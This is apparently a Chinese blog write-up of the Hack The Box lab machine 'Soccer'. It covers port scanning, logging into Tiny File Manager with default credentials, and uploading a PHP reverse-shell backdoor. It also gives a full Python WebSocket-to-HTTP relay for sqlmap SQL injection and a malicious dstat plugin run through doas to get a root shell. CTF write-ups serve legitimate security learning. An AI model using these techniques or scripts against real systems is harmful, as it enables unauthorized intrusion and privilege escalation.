HTB打靶日记:Soccer

信息收集:

nmap -p- -sT --min-rate=10000 -Pn 10.129.25.122

nmap -p- -sU --min-rate=10000 -Pn 10.129.25.122

 

nmap -p22,80 -sT -sV -sC -Pn -O 10.129.25.122

 

发现了soccer.htb,加入hosts文件中,开始爆破子域名

没有新的子域名发现

访问http://soccer.htb后发现了一些图片

下载后没有发现什么敏感的信息

 

 开始目录扫描

扫描出了/tiny目录

访问后发现了一个登陆界面

搜索一下Tiny File Manager的默认账户admin ,密码为admin@123,成功登陆后台

进入后台发现了可以文件上传的位置,上传反弹shell的php后门(这里似乎定时清除上传的文件,网巨卡,恶心死了) 

成功反弹shell,找到立足点

查看一下开放的端口,发现3306端口开放,猜测可能后续与数据库有关,但是尝试弱口令失败

 通过linpeas.sh发现了另外一个子域名,添加到hosts文件中

 访问后会发现,这似乎是一个跟世界杯有关的网站,带有登陆的部分,注册账户然后登陆

似乎是websocket

 因为上面可以传递参数,尝试websocket的sqli注入,转换脚本

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091/ws"

def send_ws(payload):
	ws = create_connection(ws_server)
	# If the server returns a response on connect, use below line	
	#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
	
	# For our case, format the payload in JSON
	message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
	data = '{"id":"%s"}' % message

	ws.send(data)
	resp = ws.recv()
	ws.close()

	if resp:
		return resp
	else:
		return ''

def middleware_server(host_port,content_type="text/plain"):

	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			self.send_response(200)
			try:
				payload = urlparse(self.path).query.split('=',1)[1]
			except IndexError:
				payload = False
				
			if payload:
				content = send_ws(payload)
			else:
				content = 'No parameters specified!'

			self.send_header("Content-type", content_type)
			self.end_headers()
			self.wfile.write(content.encode())
			return

	class _TCPServer(TCPServer):
		allow_reuse_address = True

	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
	middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
	pass                                                                                                                              

利用sqlmap进行注入,发现存在注入点

利用爆出的账户与密码成功ssh登陆

 

 经过一段时间查找,发现了doas也是可以提权的(Linux Privilege Escalation - HackTricks

 找到了配置文件

发现 /usr/bin/dstat可以用root权限执行

 dstat -h查看一下用法,似乎是可以支持自定义插件

查看了一下dstat插件的用法 dstat的插件_tiantao2012的博客-CSDN博客_/dstat 插件

将插件dstat_wen.py写入/usr/local/share/dstat/中

import os

os.system('bash -i')

运行脚本后,成功获取root权限

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值